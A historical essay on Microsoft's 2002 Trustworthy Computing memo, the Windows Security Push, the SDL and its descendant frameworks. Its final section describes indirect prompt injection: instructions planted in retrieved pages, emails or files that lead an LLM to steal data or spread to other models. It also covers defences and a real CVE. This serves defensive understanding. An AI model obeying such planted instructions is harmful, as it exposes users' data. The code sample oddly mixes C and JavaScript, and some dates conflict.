What did "advisory" mean in 2000-2001 Microsoft? Steve Lipner's ACSAC 2004 paper is explicit: in the pre-Push state, an engineering manager could decline a security review with no organizational consequence. SWI could recommend. SWI could not require. The Microsoft-authored book sat on every engineer's desk and the threat-categorization memo had been internal for almost three years -- and Code Red v1, Code Red v2, Code Red II, and Nimda all exploited code that had shipped after SWI's founding [@howard-lipner-push-2003] [@lipner-acsac-2004].

That is the empirical evidence the era ran on. Methods without authority did not stop the worms.

Microsoft was not the first to articulate, audit, popularize, categorize, or respond. Microsoft was the first to make secure development non-negotiable at desktop-monopoly scale.

So if the methods, the books, the threat-modeling framework, the response center, the engineers, and the public peer pressure were all already there, what changed at 5:22 PM Pacific on Tuesday, January 15, 2002?

6. The Memo (January 15, 2002)

Open with the email header itself, preserved verbatim by Wired's republication and the Help With Windows mirror, both of which kept the original From:, Sent:, To:, Subject: block intact:

-----Original Message-----
From: Bill Gates
Sent: Tuesday, January 15, 2002 5:22 PM
To: Microsoft and Subsidiaries: All FTE
Subject: Trustworthy computing

[@gates-memo-wired] [@helpwithwindows-billg]

Popular retellings sometimes describe the memo as a "5 AM email Bill Gates wrote in the dark." The preserved mail headers above are unambiguous: the memo was sent at 5:22 PM Pacific on a Tuesday afternoon, with full distribution to "Microsoft and Subsidiaries: All FTE" -- every full-time employee of the company [@gates-memo-wired] [@helpwithwindows-billg]. The 5 AM phrasing is folk-knowledge; the headers preserved by Wired are the primary record.

The memo runs roughly 1,500 words. It is structured around four pillars -- Security, Privacy, Reliability, and Business Integrity -- that, the memo argues, must take precedence over feature work whenever the two are in tension [@gates-memo-wired]:

Pillar	What the memo asks for
Security	Code resilient to attack; products that ship secure out of the box, by default, in deployment.
Privacy	Products that handle customer data with informed consent and minimal collection.
Reliability	Products that fail predictably and recover gracefully; uptime as a measurable property.
Business Integrity	Transparent dealings; respect for the customer relationship across the company's behavior, not just its products.

Read the four together and the structure is not a list of features. It is a redefinition of what shipping the product means. A Windows release in 2001 shipped when the feature list closed; the memo proposed that, going forward, a Windows release ships when feature list, security posture, privacy posture, reliability posture, and the company's standing with the customer were all simultaneously acceptable.

The operational anchor of the memo is one sentence every subsequent retelling quotes, and that the Push directly inherited as its decision rule:

"When we face a choice between adding features and resolving security issues, we need to choose security." -- Bill Gates, "Trustworthy computing" memo, January 15, 2002 [@gates-memo-wired]

Note what the memo did not do. It did not name an algorithm. It did not invent STRIDE; STRIDE had been internal for two and a half years already [@shostack-tm-book]. It did not write banned.h; the banned-API list had been in Howard and LeBlanc's book on bookshelves for two months [@howard-leblanc-wsc]. And, contrary to a common retelling, it did not delay the launch of Visual Studio .NET.

Visual Studio .NET launched on schedule on February 13, 2002, four weeks after the memo, at the VSLive! 2002 Conference in San Francisco, with Bill Gates delivering the keynote address [@msft-news-vsnet-launch-2002]. The December 2001 work the retrospectives sometimes call a "delay" was a pre-launch security review of the .NET runtime; the memo references that review by name as the template for what the company was about to do across every product [@gates-memo-wired]. The "delayed by security" framing is folk-knowledge; the memo itself describes VS .NET's December review as a success story.

What the memo did do was supply the one input every other piece on the table had been missing: executive authority, top-down, to halt feature work on security grounds without arguing about it.

To see why that is the operational form of the memo's contribution, compare it to Gates's two other priority memos. The "Internet Tidal Wave" of May 26, 1995 redirected Microsoft toward the web; the company restructured around online services and browser strategy in its wake [@gates-tidal-wave-bbc-pdf]. The .NET / NGWS strategy memo, delivered alongside Gates's Forum 2000 keynote on June 22, 2000, redirected the company toward managed code and a unified runtime; Visual Studio .NET, the CLR, ASP.NET, and ADO.NET all trace to it.Common retellings date the .NET strategy memo to 1999. The Microsoft News Center record places the NGWS / .NET unveiling at Forum 2000 on June 22, 2000; the strategy was branded "Next Generation Windows Services" before the .NET name stuck. The 1999 dating slips in because the underlying COM-runtime work began earlier, but the company-wide priority memo is a 2000 document.

Both pointed Microsoft at something new. Trustworthy Computing was different in shape. It did not redirect the company toward something new. It halted the company in place. The pillars were not a roadmap; they were a precondition. That structural difference -- stop, before you start anything else -- is what gave the Push its character.

The memo named three deputies who would carry the program forward. Craig Mundie (then Microsoft's chief technical officer, leading the Trustworthy Computing leadership team) was the named architect of the Trustworthy Computing initiative itself [@msft-news-charney-jan-2002]; Jeff Raikes (then Group Vice President for Productivity and Business Services) carried the program into Office [@msft-news-raikes-fusion-2002]; and on January 31, 2002 -- sixteen days after the memo -- Microsoft announced the hire of Scott Charney from PricewaterhouseCoopers' Cybercrime Prevention and Response Practice as Chief Security Strategist, with a start date of April 1, 2002, to make the program operationally permanent [@msft-news-charney-jan-2002]. Charney would lead Microsoft's Trustworthy Computing organization for the next thirteen years. The memo was one event; the people who made it survive past the ten-week Push were the institutional half of the story.

The memo was the discrete institutional moment. What it required next was the operationalization step that converted it from rhetoric into engineering. That step took twenty-seven days to start and roughly ten weeks to run.

7. The Windows Security Push (February-April 2002)

The mechanics come from Michael Howard and Steve Lipner's IEEE Security and Privacy paper of January-February 2003, "Inside the Windows Security Push," and from Lipner's December 2004 ACSAC paper "The Trustworthy Computing Security Development Lifecycle." Stripped of the framing, the numbers are:

Feature work in the Windows Division halted on or about February 11, 2002 [@howard-lipner-push-2003].
The Push ran for approximately ten weeks, through April 2002 [@howard-lipner-push-2003].
The participating headcount was approximately 8,500 Windows engineers [@howard-lipner-push-2003].The round figure of "10,000 engineers" in many retrospectives is a company-wide aggregate that includes the serial Office, .NET, and SQL Server pushes that followed through 2002-2003. The Windows-only Push figure from the Howard and Lipner primary is ~8,500; the trade-press corroboration (Washington Technology, July 2002) cross-references Gates's own July 19, 2002 internal newsletter [@howard-lipner-push-2003] [@washtech-microsoft-100m].
The total cost in foregone feature work was approximately $100 million [@washtech-microsoft-100m] [@howard-lipner-push-2003].
The measurable outcome was approximately a 50% reduction in publicly reported security vulnerabilities for Windows Server 2003 over comparable post-release windows versus Windows 2000 [@howard-lipner-push-2003].The ~50% figure is per-window externally-discovered vulnerability counts, per Howard and Lipner 2003 -- not per-KLoC defect density. The narrative role (measurable post-release improvement) holds either way, but the caveat matters for readers reusing the number.

The Push pipeline looked like this:

flowchart LR A[Mandatory training: Howard, Lipner, LeBlanc as instructors] --> B[STRIDE threat model per component] B --> C[Banned-API audit against banned.h and strsafe.h] C --> D[Fuzz testing of network-facing components] D --> E[Final Security Review gate] E --> F[Release approval or block]

Three of the boxes in that pipeline need definitions, because they are the load-bearing terms the rest of the article and every SDL descendant inherit.

A C header authored at Microsoft during and after the Push that re-declares roughly forty unsafe C runtime functions (`strcpy`, `strcat`, `gets`, `sprintf`, `_snprintf`, `wcscpy`, `_mbscpy`, and more) as compile-time errors. The pattern is a `#pragma deprecated` plus a `#define` that expands to an undefined symbol, so any source file that includes `banned.h` and then calls a banned function fails to compile. The descendant in Microsoft's current Windows driver toolchain is the static-analyzer warning **C28719**, which release-gates Windows driver submissions to this day [@msft-c28719]. A safer-by-default replacement string-handling API set introduced by Microsoft alongside `banned.h`. The `Strsafe.h` header (and the Win32 reference page that still ships in Microsoft Learn) defines `StringCbCopy`, `StringCbCat`, `StringCbPrintf`, `StringCchCopy`, `StringCchCat`, `StringCchPrintf`, and their wide-character variants. Every function takes an explicit destination-buffer size and returns an `HRESULT` so the caller can detect truncation rather than overrun [@msft-strsafe]. The C11 `_s` family (`strcpy_s`, `strcat_s`, `sprintf_s`) is the standards-track parallel. The release-blocking sign-off step at the end of the SDL pipeline. Before a product can ship, an FSR examines the threat model, the residual vulnerabilities, the banned-API audit results, the fuzz-test coverage, the static-analysis warnings, and the operational response plan, and decides whether the release meets the security bar. A failed FSR blocks the release. The FSR is the single component that converts every preceding "should" into a hard "must" -- it is where the advisory pipeline becomes the mandatory one [@lipner-acsac-2004] [@howard-lipner-sdl-book].

Place the same banned-API substitution that every Windows engineer learned that spring next to its FSR-approved replacement, with the surviving 2026 compiler-enforced warning called out:

{` // BEFORE THE PUSH -- this compiles, and overflows if src is too long. // C runtime; allowed in C89; the entire bug class behind Code Red et al. void copyName_BANNED(char* dst, const char* src) { // strcpy(dst, src); // After banned.h is included, the above line FAILS TO COMPILE: // error C4996: 'strcpy': This function or variable may be unsafe. // error C28719: Banned API Usage: strcpy is a Banned API. }

// AFTER THE PUSH -- this is the FSR-approved replacement. // strsafe.h, mandatory after February 2002 for Windows code. // Microsoft's C28719 still release-gates Windows drivers in 2026. function copyName_OK(dst, dstSize, src) { // StringCbCopy(dst, dstSize, src); // Returns S_OK on success, STRSAFE_E_INSUFFICIENT_BUFFER on truncation. // The compiler knows dstSize; the static analyzer can prove the bound. console.log('FSR-approved: explicit destination size, returns HRESULT.'); }

copyName_OK('buffer', 16, 'David Cutler'); `}

The substitution is the entire engineering theme of the Push in one line. strcpy(dst, src) is undecidable in the general case: you cannot prove from the call site that src fits in dst without information the call site does not have. StringCbCopy(dst, dstSize, src) is mechanically checkable: the destination size is explicit, the function returns truncation as a recoverable error, and a static analyzer can verify the bound at every call site. The class of bugs behind Code Red did not become easier to write; it became uncompilable.

The state change is best shown as a comparison table:

Discipline component	Pre-Push state	Post-Push state
Training	Opt-in; not all engineers attended	Mandatory across the Windows Division [@howard-lipner-push-2003]
Threat modeling	Per-team optional	Per-component mandatory; STRIDE-driven [@howard-lipner-push-2003]
Banned-API enforcement	Recommended in the SWI guidance	Compile-time error via `banned.h`; replacement via `strsafe.h` [@msft-strsafe] [@msft-c28719]
Code review	Voluntary	Release-gate via Final Security Review [@lipner-acsac-2004]
Authority	Advisory (SWI could recommend)	Release-blocking (FSR could block) [@lipner-acsac-2004]
Measurable outcome	None published	~50% reduction in publicly reported vulnerabilities, WS2003 vs Win2000 [@howard-lipner-push-2003]

The right-hand column is, line by line, the same activities the left-hand column lists. Training is training. Threat modeling is threat modeling. The banned-API list is the same list LeBlanc and Howard had been publishing for years. Static analysis is static analysis. What changed in every row is the verb: from "may," "should," and "recommended" to "must," "shall," and "release-blocking."

Key idea: The breakthrough was organizational, not technical. The Push used the same training material, the same banned-API list, the same threat-modeling framework, and the same code-review checklist that SWI, Howard, LeBlanc, and Schneier had been writing for two years. What changed was the signoff power. Training became mandatory; threat modeling became per-component-mandatory; banned APIs became compile-time errors; code review became a release gate; and the Final Security Review acquired the authority to block a ship date. The Push did not invent new methods. It gave the existing methods executive authority.

Note: Same checklists, different signoff power. That single sentence is the unit of work the Push did. Every other secure-development framework on the industry shelf in 2026 is, organizationally, a restatement of that unit at different scales: BSIMM observes how vendors did it, OWASP SAMM prescribes how to do it, NIST SSDF mandates it for U.S. federal suppliers, ISO/IEC 27034 makes it certifiable. The technology was downstream of the authority [@bsimm-home] [@owasp-samm-model] [@nist-ssdf-218] [@iso-27034-1].

Ten weeks of training is one event. A discipline is a repeatable event. The Push needed to be codified into something a product team could do on every release.

8. What the Discipline Became: The SDL Lineage (2002-2006)

Codification ran in two steps.

The first step was Steve Lipner's ACSAC 2004 paper, "The Trustworthy Computing Security Development Lifecycle," the first formal external description of the SDL as a multi-phase release-engineering process [@lipner-acsac-2004]. ACSAC is a peer-reviewed venue with a security-practitioner audience; the paper put the program on the academic record and started the citation chain.

The second step was the book. Howard and Lipner, The Security Development Lifecycle, Microsoft Press 2006 (ISBN 978-0-7356-2214-2) [@howard-lipner-sdl-book]. The book documents every phase, every checklist, every threat-modeling template, every banned-API entry, every FSR criterion. It is what made the methodology exportable: an organization not named Microsoft could pick up the book and run an SDL-shape program of its own.

A software-engineering process model that integrates security activities into every phase of a product release. The canonical Microsoft formulation, in the 2006 Howard and Lipner book, is a seven-phase pipeline: Training, Requirements, Design (with mandatory STRIDE threat modeling), Implementation (with banned-API enforcement and mandatory static analysis), Verification (fuzz testing and dynamic analysis), Release (Final Security Review and a signed-off response plan), and Response (feeds back into MSRC). The current Microsoft public formulation organizes the same activities as 10 practices spanning 5 lifecycle stages: Design, Code, Build and Deploy, Run, and Zero Trust governance [@msft-sdl-practices] [@msft-sdl-overview].

The SDL phase pipeline in its canonical 2006 form:

flowchart LR A[Training] --> B[Requirements] B --> C[Design: STRIDE threat modeling] C --> D[Implementation: banned-API + static analysis] D --> E[Verification: fuzz + dynamic analysis] E --> F[Release: Final Security Review] F --> G[Response: MSRC] G -.feedback.-> A

The current Microsoft SDL has shifted with the industry. The 2026 public formulation organizes the same activities as ten practices spanning five lifecycle stages: Design, Code, Build and Deploy, Run, and Zero Trust governance [@msft-sdl-practices] [@msft-sdl-overview]. Practices 1, 3, and 10 (security standards, threat modeling, training) map directly back to the 2002 Push and the 2006 book. Practices 2 and 4 (proven security features and cryptography standards) became prominent after the 2014-2017 TLS-bug wave: Heartbleed in April 2014 [@nvd-cve-2014-0160-heartbleed], POODLE in October 2014, Logjam in May 2015, ROBOT in December 2017. Practices 5 through 9 (supply chain, engineering environment, security testing, operational platform, monitoring and response) absorb post-SolarWinds (December 2020), Log4Shell (December 2021), and xz-utils (March 2024) lessons that did not exist in the original 2006 codification [@cisa-secure-by-design] [@slsa-home] [@freund-xz-disclosure].

The SDL did not invent training, did not invent threat modeling, did not invent banned APIs, and did not invent audit-driven review. What it did was assemble them, mandate them, and gate releases on them at a scale and authority no one had previously attempted at a desktop-monopoly vendor. Saltzer and Schroeder (1975), OpenBSD (1996), CERT/CC (1988), Schneier (1999), Kohnfelder and Garg (1999), and Howard and LeBlanc (2001) all contributed substrate; the SDL was an organizational achievement that depended on every one of those.

Two people deserve named credit for the SDL surviving past its 2002 birth. Scott Charney, joining Microsoft in March 2002 as Chief Security Strategist, ran the Trustworthy Computing organization for thirteen years and kept the program funded, staffed, and politically supported through three Windows releases (XP SP2 in 2004, Vista in 2006, Windows 7 in 2009). Steve Lipner became the program's external voice -- the IEEE *Security and Privacy* paper, the ACSAC paper, the Microsoft Press book, and the conference circuit that turned an internal-Microsoft methodology into an industry-wide practice. The historical credit for "founding" goes to Gates; the historical credit for *sustaining* goes to Charney and Lipner.

A discipline becomes industry-standard when other organizations adopt or are compelled to adopt it. What happened to the SDL's template between 2006 and 2026?

9. What the Era Taught the Next 25 Years

Every major secure-development framework published since 2006 traces a recognizable lineage back to the same Push-shape ancestor. The genealogy fans out:

flowchart TD P0[2002 Windows Security Push] --> M1[2004 Microsoft SDL Lipner ACSAC] M1 --> B[2008 BSIMM descriptive 128 activities] M1 --> S[2009 OWASP SAMM prescriptive 15 practices] M1 --> I[2011 ISO/IEC 27034 certifiable] M1 --> F[2018 SAFECode Fundamental Practices 3rd ed] M1 --> N[2022 NIST SSDF SP 800-218 federal-supplier] M1 --> L[2021-2023 SLSA Build track post-SolarWinds] M1 --> C[2023 CISA Secure by Design + Pledge]

The shorthand for each descendant:

Microsoft SDL. The 2004 ACSAC paper and the 2006 book; today's ten-practice five-stage formulation [@lipner-acsac-2004] [@msft-sdl-practices].
BSIMM. The Building Security In Maturity Model, descriptive (not prescriptive): 128 activities observed across 111 organizations in 8 industries, grouped into 12 practices in 4 domains [@bsimm-home].
OWASP SAMM v2. Open Software Assurance Maturity Model, prescriptive: 15 security practices grouped into 5 business functions (Governance, Design, Implementation, Verification, Operations), with 3 maturity levels per practice [@owasp-samm-model] [@owasp-samm-about].
ISO/IEC 27034-1:2011. The first internationally certifiable application-security standard, confirmed in 2022 [@iso-27034-1].
SAFECode Fundamental Practices, 3rd ed. A community-curated practice catalog from the Software Assurance Forum for Excellence in Code, with an explicit smallest-organization onramp [@safecode-fundamental-practices].
NIST SP 800-218 (SSDF). The Secure Software Development Framework, February 2022; legally voluntary in form but de-facto mandatory for U.S. federal suppliers via Executive Order 14028 and OMB Memorandum M-22-18 [@nist-ssdf-218].
SLSA v1.0. Supply-chain Levels for Software Artifacts, the post-SolarWinds extension that adds build-integrity attestation to the SDL pattern [@slsa-v1-levels] [@slsa-home].
CISA Secure by Design and the Secure-by-Design Pledge. A U.S. federal policy framework restating the SDL principles as expectations on commercial software vendors; the Pledge is voluntary and not legally binding [@cisa-secure-by-design] [@cisa-sbd-pledge].

Below the family tree, every organization that picks one of these frameworks is also making a context-specific decision. A 2026 decision guide -- drawn from the SOTA work -- looks like this:

Situation	Primary framework	Threat modeling	Supply chain	Memory safety
Large proprietary vendor	Microsoft SDL [@msft-sdl-practices]	STRIDE in Microsoft TM Tool [@msft-threat-modeling-tool]	SLSA Build L3 [@slsa-v1-levels]	Rust in new components [@weston-bluehat-il-2023] [@cisa-memory-safe-roadmaps]
U.S. federal supplier	NIST SSDF + Secure by Design [@nist-ssdf-218] [@cisa-secure-by-design]	Manifesto-aligned [@threat-modeling-manifesto]	SLSA Build L2+ [@slsa-v1-levels]	CISA memory-safe roadmap [@cisa-memory-safe-roadmaps]
Mid-size SaaS	OWASP SAMM [@owasp-samm-model]	OWASP Threat Dragon [@owasp-threat-dragon]	SLSA Build L1 [@slsa-v1-levels]	Language choice per service
Open-source project	SAFECode + SLSA [@safecode-fundamental-practices] [@slsa-home]	STRIDE or LINDDUN	SLSA Build L1 + provenance	Language choice per project
Privacy-critical	LINDDUN	LINDDUN + DPIA	per regulator	per language toolchain
AI/LLM-integrated	NIST AI RMF + OWASP LLM Top 10 [@nist-ai-rmf] [@owasp-llm-top-10]	LLM Top 10 categories	per model supply chain	per language toolchain

The table is a snapshot, not a prescription; the underlying point is that every cell is a child of the same 2002 organizational pattern, specialized to a population.

The five-stage cohort-migration playbook

Every meaningful security improvement since 2002 has had to walk a population through the same five-stage migration without breaking the legitimate-use long tail. The stages, drawn directly from how Microsoft has operated and what the larger industry has copied:

Ship telemetry first. Before flipping any default, instrument the current behavior so you know who is using it, how, and how often.
Publish guidance naming the unsafe path as exceptional. Documentation calls the behavior "supported but deprecated"; the change is announced.
Flip the default behind documented escape hatches. The new default is safe; users with a legitimate need can still opt back in via Group Policy, a registry key, an unblock checkbox, or an admin command.
Deprecate on a published schedule. Telemetry says the long tail is small enough to commit to a removal date; the date is announced one or more years out.
Remove the capability. The feature is no longer present; the escape hatch is no longer reachable.

Two worked examples make the playbook concrete -- the Office VBA macro block of 2022 and the SMBv1 deprecation of 1996-2017.

Office VBA macros from the internet (announced February 2022). Microsoft committed to blocking VBA macros in Office documents that arrived from the internet (carrying the Mark of the Web). The five-channel rollout, as documented and re-documented on the current Microsoft Learn page, ran:

Channel	Default-block date
Current Channel Preview 2203	April 12, 2022
Current Channel 2206	July 27, 2022 (after a July 2022 pause-and-resume)
Monthly Enterprise 2208	October 11, 2022
Semi-Annual Enterprise (Preview) 2208	October 11, 2022
Semi-Annual Enterprise 2208	January 10, 2023

[@ms-learn-internet-macros-blocked]

The escape hatches were explicit: per-document Unblock from the file's Properties dialog, configured Trusted Locations, signed-by-Trusted-Publishers, or Group Policy overrides for managed environments [@ms-learn-internet-macros-blocked]. The capability was not removed -- the playbook stopped at stage 3. The July 2022 pause-and-resume is the playbook's self-correcting feedback loop in action: Microsoft paused the Current Channel rollout in response to deployment-side issues, fixed them, and resumed [@ms-learn-internet-macros-blocked]. That this fix took twenty-seven years from Concept's 1995 first detection to the Office VBA macro block of February 2022 is the era's tax for cohort migration without breaking the legitimate-use long tail.

SMBv1 deprecation (1996 to 2025). Server Message Block version 1 shipped in 1996. Microsoft publicly deprecated SMBv1 in 2014 (the long tail was many years of legacy installations). Ned Pyle, Principal Program Manager for Microsoft's Storage and File Services team, published the canonical "Stop using SMB1" Tech Community post on September 16, 2016 [@pyle-stop-using-smb1]. May and June 2017 brought the empirical forcing function: the WannaCry ransomware in May, the NotPetya wiper in June, both exploiting EternalBlue against SMBv1. October 2017's Windows 10 version 1709 shipped SMBv1 off by default. Windows Server 2019 and later, plus Windows 11, do not install SMBv1 at all. For Windows Home and Pro, the SMBv1 client auto-uninstalls after 15 days of non-use [@ms-learn-smbv1-not-installed]:

Year	Event
1996	SMBv1 ships with Windows NT 4.0
2014	Public deprecation announced
September 16, 2016	Ned Pyle's "Stop using SMB1" Tech Community post [@pyle-stop-using-smb1]
May-June 2017	WannaCry and NotPetya empirical forcing function
October 2017 (1709)	SMBv1 default-off in Windows 10
Windows Server 2019+, Windows 11	Not installed by default; 15-day auto-uninstall on Home/Pro [@ms-learn-smbv1-not-installed]

Note: "Deprecation takes a decade" is not vendor inefficiency. It is the cost of executing each playbook stage without breaking the legitimate-use long tail of business-critical software that depends on the capability. An empirical forcing function -- a worm, a ransomware wave, a public catastrophe -- is what compresses the late stages from years to months. WannaCry and NotPetya did to SMBv1 in 2017 what Code Red and Nimda did to the Windows defaults in 2002.

The aggregate catalog of unsafe defaults the era's lessons forced into the playbook, each at its own stage in 2026:

NetBIOS over TCP exposed by default (deprecated; off by default).
NTLM as a first-class protocol (Microsoft announced default-off deprecation in October 2023, with a rolling transition through Windows Server 2025 and later releases [@techcommunity-ntlm-evolution-2023]).
ActiveX by default in the IE Internet zone (removed with IE retirement in 2022).
Autorun on removable media (default-off after Windows 7 patch in February 2011 [@kb971029-autorun-wayback]).
Office macros enabled by default (default-block for internet-marked files since 2022 [@ms-learn-internet-macros-blocked]).
PowerShell v2 (deprecated 2017, removed by default in Windows 11 23H2 [@devblogs-powershell-v2-deprecation]).
Office Equation Editor (deprecated 2017, removed 2018 after CVE-2017-11882 [@nvd-cve-2017-11882]).

The 2002 template won. The modern industry runs on its descendants. But "won" does not mean "solved" -- the same eight-engineer SWI of 2000 has descendants in 2026 that still ship the same memory-safety bugs Cutler's NT kernel shipped in 1993. What changed? What did not?

10. State of the Art (and the Wars Ahead)

Open with the humility. Microsoft's own 2019 MSRC retrospective is the figure CISA preserves verbatim: "approximately 70% of the vulnerabilities Microsoft assigns a CVE each year continue to be memory safety issues" [@cisa-urgent-need-memory-safety] [@cisa-memory-safe-roadmaps].

Twenty-five years after the SDL's birth, the dominant CVE class is the same one the NT 3.1 -> NT 4.0 -> IIS 5.0 series shipped throughout the 1990s and Code Red weaponized in 2001.An earlier draft credited Cutler's NT-kernel team with shipping idq.dll in 1993. That attribution is wrong on both counts. idq.dll first shipped with Microsoft Index Server 1.0 for Windows NT 4.0 in 1996, and it was authored by the Index Server / IIS-ISAPI team, not the Cutler-led NT-kernel team. The load-bearing claim -- that the dominant CVE class today is the same memory-safety class the NT-line products shipped throughout the 1990s and Code Red weaponized in 2001 -- is preserved without the inaccurate attribution. The discipline the era forced was necessary; it was not sufficient.

Three frontiers carry that residual problem forward into the next decade.

Frontier 1: supply-chain integrity (SLSA v1.0 Build track levels)

SLSA -- Supply-chain Levels for Software Artifacts -- is the post-SolarWinds extension of the SDL pattern to the build pipeline itself. The v1.0 specification defines four Build track levels, with verbatim per-level guarantees [@slsa-v1-levels]:

Build L0. No SLSA. No claims about provenance.
Build L1. "Provenance showing how the package was built." Crucially, the spec is explicit that at L1 "provenance may be incomplete and/or unsigned" -- L1 defends against mistakes and gives consumers something to inspect, not against tampering [@slsa-v1-levels].
Build L2. Signed provenance, "generated by a hosted build platform." The signature belongs to the build platform, not the producer -- specifically, "by a key that is only accessible to the build platform" -- so post-build tampering by the producer is detectable [@slsa-v1-levels].
Build L3. Hardened build platform: builds run in isolation so one build cannot influence another, and the signing key is "not accessible to user-defined build steps" so an insider with a malicious build script cannot forge signed provenance [@slsa-v1-levels].

A Source track existed in SLSA's v0.1 draft and was explicitly deferred from v1.0. The future-directions page is direct about why: "A Source track could provide protection against tampering of the source code prior to the build" [@slsa-future-directions]. The reason it is not in v1.0: there is no automatic decision procedure that distinguishes a malicious-but-syntactically-clean patch from a benign one.

The xz-utils CVE-2024-3094 attack is the canonical case. Andres Freund's March 29, 2024 oss-security disclosure described a multi-year campaign by an attacker using the handle "Jia Tan" who, over two and a half years (the first patch landed in October 2021), built a maintainer-grade reputation and pushed a backdoor into the xz release tarballs that diverged subtly from the git source [@freund-xz-disclosure]. Russ Cox's timeline reconstructs the social-engineering chain: the "Jigar Kumar" and "Dennis Ens" sockpuppet accounts pressuring the original maintainer to delegate authority, the gradual accretion of commit access, the backdoor delivered in the release artifacts but not the git history [@cox-xz-timeline].

Note: SLSA's Build track addresses the integrity of the path from source to artifact. It does not address the integrity of the source itself. A malicious patch that lands in the upstream repository and is built by an SLSA Build L3 platform produces a properly attested, properly signed artifact that is malicious. The xz-utils case is the existence proof. Detection here still depends on individual engineer-curiosity in the field -- Andres Freund noticed an anomalous CPU spike on his Debian sid SSH logins and chased it -- not on any mechanically verifiable property of the supply chain.

Frontier 2: AI/LLM-integrated software

The threat-modeling frameworks the SDL absorbed -- STRIDE, PASTA, LINDDUN -- were designed for systems whose components have specifications. An LLM is not such a component. Its behavior is an empirical artifact of its training data and the prompt context it receives; there is no spec a verifier can use to bound the set of outputs the model will produce for a given input.

The partial responses on the table in 2026: the NIST AI Risk Management Framework (AI RMF 1.0), released January 26, 2023 [@nist-ai-rmf]; the OWASP Top 10 for Large Language Model Applications, now part of the OWASP GenAI Security Project [@owasp-llm-top-10]; and the draft NIST SP 800-218A IPD ("Secure Software Development Practices for Generative AI and Dual-Use Foundation Models"), published April 29, 2024, by Souppaya, Vassilev, Ogata, Stanley, and Scarfone as an SSDF Community Profile mandated by Executive Order 14110 section 4.1(a)(ii) of October 30, 2023 [@nist-sp-800-218a-ipd] [@nist-sp-800-218a-ipd-pdf].

To bring this frontier to the same mechanism-grade depth as Frontier 1, the worked example below traces a single named vulnerability class -- Indirect Prompt Injection (IPI) -- from primary disclosure through vendor mitigation, productization, federal-supplier profile, and a real-world CVE.

A class of attack against LLM-integrated applications in which the attacker never interacts with the model directly. Instead, the attacker plants adversarial instructions into data the model will later retrieve -- a web page the model browses, a document the model summarizes, an email the model is asked about, a code-repository file the model is asked to refactor. When the LLM ingests that data, it treats the injected instructions as part of its prompt context and acts on them. The term was defined by Greshake, Abdelnabi, Mishra, Endres, Holz, and Fritz in their AISec 23 paper [@greshake-ipi-arxiv] [@greshake-ipi-acm].

The vulnerability class. The Greshake et al. paper (arXiv v1 February 23, 2023; AISec 23 proceedings November 30, 2023, Copenhagen) demonstrated working IPI attacks against Bing Chat (GPT-4 powered), GPT-4-integrated synthetic applications, and code-completion engines [@greshake-ipi-arxiv]. The paper's threat taxonomy enumerates four families: data theft, worming (LLM-to-LLM propagation through injected outputs that subsequent LLMs read), information-environment contamination, and arbitrary code execution at the application-functionality layer [@greshake-ipi-arxiv] [@greshake-ipi-acm].

The vendor mitigation -- Microsoft Spotlighting. Hines, Lopez, Hall, Zarfati, Zunger, and Kiciman published "Defending Against Indirect Prompt Injection Attacks With Spotlighting" (arXiv v1 March 20, 2024) [@hines-spotlighting-arxiv]. Spotlighting is a family of prompt-engineering techniques -- datamarking, encoding, per-token-marker transformations -- that, in the paper's words, provide "a reliable and continuous signal of provenance" so the model can distinguish instructions from retrieved data. The empirical claim is verbatim: "spotlighting reduces the attack success rate from greater than 50% to below 2% in our experiments with minimal impact on task efficacy" on GPT-family models [@hines-spotlighting-arxiv].

The productization -- Azure AI Content Safety Prompt Shields. Spotlighting moved from a research paper to a productized API surface: Microsoft Learn documents Prompt Shields as "a unified API in Azure AI Content Safety that detects and blocks adversarial user input attacks on large language models" [@azure-prompt-shields]. The Microsoft Docs Zero Trust SFI guidance documents the layered defense-in-depth pattern Prompt Shields and Spotlighting compose into: "Prompt shields ... Spotlighting ... Plan drift detection ... Critic agents ... Tool chain analysis ... Security guardrails" [@msdocs-defend-ipi]. MSRC's July 2025 blog "How Microsoft defends against indirect prompt injection attacks" is the canonical Microsoft narrative [@msrc-ipi-blog].

The framework mapping -- OWASP LLM01. The OWASP GenAI Security Project's LLM01 page enumerates seven prevention-and-mitigation strategies for prompt injection [@owasp-llm01-prompt-injection]. Spotlighting is the algorithmic implementation of Category 6 ("Segregate and identify external content"); system-prompt enforcement is Category 1 ("Constrain model behavior"); tool-call permission scoping is Category 4 ("Enforce privilege control and least privilege access"); human-in-the-loop checkpoints for high-risk tool calls (file write, email send, payment) are Category 5 ("Require human approval for high-risk actions") [@owasp-llm01-prompt-injection].

The federal-supplier profile -- NIST SP 800-218A IPD. The draft NIST SP 800-218A profile takes the OWASP and Microsoft Research mitigation vocabulary and translates it into SSDF practice-level language [@nist-sp-800-218a-ipd] [@nist-sp-800-218a-ipd-pdf]. The legal anchor is Executive Order 14110 section 4.1(a)(ii) of October 30, 2023; the initial public draft published April 29, 2024 with a comment deadline of June 2, 2024 [@nist-sp-800-218a-ipd].

The real-world CVE -- CVE-2024-5184 (EmailGPT). The OWASP LLM01 page Scenario #5 references CVE-2024-5184 directly. The NVD record classifies it as CWE-74 (Improper Neutralization, Injection) with CVSS Base Score 6.5 Medium; the CNA is Synopsys (Black Duck) [@nvd-cve-2024-5184]. The Black Duck CyRC advisory reconstructs the disclosure timeline: initial contact February 26, 2024; reminders April 4 and May 1; public advisory June 5, 2024 -- about ninety-nine days with no vendor response [@blackduck-cyrc-emailgpt]. Mohammed Alshehri at Black Duck CyRC discovered the vulnerability; the CyRC recommendation, verbatim, is to "remove the applications from networks immediately" [@blackduck-cyrc-emailgpt]. That recommendation is the operational evidence that the field still lacks a reliable in-band mitigation it can ship without removing the application from production.

Note: Four gaps deserve naming for readers reusing this material. First, no primary-source-grade threat-modeling method exists for the prompt-context, training-data-supply-chain, or fine-tuning-data attack surfaces in the closed-list way STRIDE exists for component-with-spec systems; OWASP LLM01's seven categories are a useful checklist but not a generative methodology. Second, Spotlighting's empirical 50%-to-2% reduction is per-model, per-task, and adversary-specific [@hines-spotlighting-arxiv] -- tested against specific GPT-family models with specific attack templates. Third, the CVE-2024-5184 disclosure timeline (Feb 26 to Jun 5, 2024, no vendor response) [@blackduck-cyrc-emailgpt] demonstrates the field still lacks the institutional analog of MSRC's 2002-era coordinated-disclosure norms for LLM-integrated applications. Fourth, the 2002-style cohort migration is not yet available: there is no equivalent of "ship telemetry, publish guidance, flip the default, deprecate, remove" for "prompt-injection-vulnerable LLM agent integrations," because the legitimate-use long tail is the entire space of LLM-integrated applications, not a single deprecated protocol like SMBv1.

